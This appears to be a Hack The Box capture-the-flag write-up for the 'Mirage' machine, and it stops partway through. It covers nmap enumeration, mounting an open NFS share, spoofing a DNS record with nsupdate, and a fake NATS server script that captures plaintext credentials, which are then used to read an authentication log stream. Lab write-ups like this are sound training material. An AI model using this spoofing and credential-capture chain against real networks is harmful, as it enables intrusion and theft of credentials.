Nmap

Hack The Box - HTB Mirage Writeup - Hard- Season 8 Weekly - July 19th, 2025

Hack The Box - HTB Mirage Writeup - Hard- Season 8 Weekly - July 19th,  2025

Nmap

 /usr/lib/nmap/nmap --privileged -sC -sV -Pn -oN ./nmap.txt 10.xx.xx.xx
Nmap scan report for 10.xx.xx.xx Host is up (0.43s latency).
Not shown: 985 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-20 11:19:33Z)
111/tcp   open  rpcbind?
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active 
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
2049/tcp  open  mountd        1-3 (RPC #100005)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
|_ssl-date: TLS randomness does not represent time
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
50300/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
| smb2-time: 
|_clock-skew: -2h59m07s

Add dc01.mirage.htb and mirage.htb to our/etc/hosts

NFS service

Firstly, we don't have any default credentials, but we see that the NFS service is enabled.

2049/tcp  open  mountd        1-3 (RPC #100005)

┌──(kali㉿kali)-[~]
└─$ showmount -e 10.xx.xx.xx
Export list for 10.xx.xx.xx:
/MirageReports (everyone)

So let's mount it to our local machine and check what things in that

┌──(kali㉿kali)-[~]
└─$ mkdir /tmp/mirage  

┌──(kali㉿kali)-[~]
└─$ sudo mount -t nfs 10.xx.xx.xx:/MirageReports /tmp/mirage

Then we can check it and we found there are 2 pdf files

┌──(root㉿kali)-[/tmp/mirage]
└─# ls
Incident_Report_Missing_DNS_Record_nats-svc.pdf
Mirage_Authentication_Hardening_Report.pdf

Incident_Report_Missing_DNS_Record_nats-svc.pdf

Mirage_Authentication_Hardening_Report.pdf

To summarize more concisely:

  1. Abandon NTLM authentication and switch to a Kerberos-only authentication mode
  2. Create a dns entry for nats-svc.mirage.htb and use a responder to obtain authentication

So let's modify our /etc/krb5.conf file firstly

[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = MIRAGE.HTB

[realms]
    MIRAGE.HTB = {
        kdc = dc01.MIRAGE.HTB
        admin_server = dc01.MIRAGE.HTB
        default_domain = MIRAGE.HTB
    }

[domain_realm]
    .MIRAGE.HTB = MIRAGE.HTB
    MIRAGE.HTB = MIRAGE.HTB

Then let's make a fake nats-server and use nsupdate to send the update message fake_server.py

import socket

print("[+] Fake NATS Server listening on 0.0.0.0:4222")
s = socket.socket()
s.bind(("0.0.0.0", 4222))
s.listen(5)

while True:
    client, addr = s.accept()
    print(f"[+] Connection from {addr}")

    # Send fake INFO (obligatoire pour handshake NATS)
    client.sendall(b'INFO {"server_id":"FAKE","version":"2.11.0","auth_required":true}\r\n')

    data = client.recv(1024)
    print("[>] Received:")
    print(data.decode())

    # Optional: respond with -ERR or close connection
    client.close()

Then run the script and send the update message

┌──(kali㉿kali)-[~]
└─$ nsupdate
> server 10.xx.xx.xx > update add nats-svc.mirage.htb 3600 A 10.xx.xx.xx > send

┌──(kali㉿kali)-[~]
└─$ python3 script.py                              
[+] Fake NATS Server listening on 0.0.0.0:4222
[+] Connection from ('10.xx.xx.xx', 64823)
[>] Received:
CONNECT {"verbose":false,"pedantic":false,"user":"Dev_Account_A","pass":"hx5h7F5554fP@1337!","tls_required":false,"name":"NATS CLI Version 0.2.2","lang":"go","version":"1.41.1","protocol":1,"echo":true,"headers":false,"no_responders":false}

We successfully get one of credit Dev_Account_A:hx5h7F5554fP@1337!

Then we can use natscli to interact with this credit https://github.com/nats-io

┌──(kali㉿kali)-[~]
└─$ /opt/nats-0.2.4-linux-arm64/nats context add dev-nats \
  --server nats://dc01.mirage.htb:4222 \
  --user Dev_Account_A \
  --password 'hx5h7F5554fP@1337!' \
  --description "Dev access"
NATS Configuration Context "dev-nats"

  Description: Dev access
  Server URLs: nats://dc01.mirage.htb:4222
     Username: Dev_Account_A
     Password: ******************
         Path: /home/kali/.config/nats/context/dev-nats.json

┌──(kali㉿kali)-[~]
└─$ /opt/nats-0.2.4-linux-arm64/nats --context dev-nats sub ">" --count 10 

We successfully get connect to NATs service here. Now we should focus on the auth_logs stream and get historical messages through the JetStream consumer next command.

                                                                                                                                                                                
┌──(kali㉿kali)-[~]
└─$ /opt/nats-0.2.4-linux-arm64/nats --context dev-nats consumer add auth_logs audit-reader --pull --ack=explicit



Configuration:

                    Name: audit-reader
               Pull Mode: true
          Filter Subject: logs.auth
          Deliver Policy: All
              Ack Policy: Explicit
                Ack Wait: 30.00s
           Replay Policy: Instant
      Maximum Deliveries: 1
         Max Ack Pending: 5
       Max Waiting Pulls: 512

State:

            Host Version: 2.11.3
      Required API Level: 0 hosted at level 1
  Last Delivered Message: Consumer sequence: 0 Stream sequence: 0
    Acknowledgment Floor: Consumer sequence: 0 Stream sequence: 0
        Outstanding Acks: 0 out of maximum 5
    Redelivered Messages: 0
    Unprocessed Messages: 5
           Waiting Pulls: 0 of maximum 512

Then let's pull the messages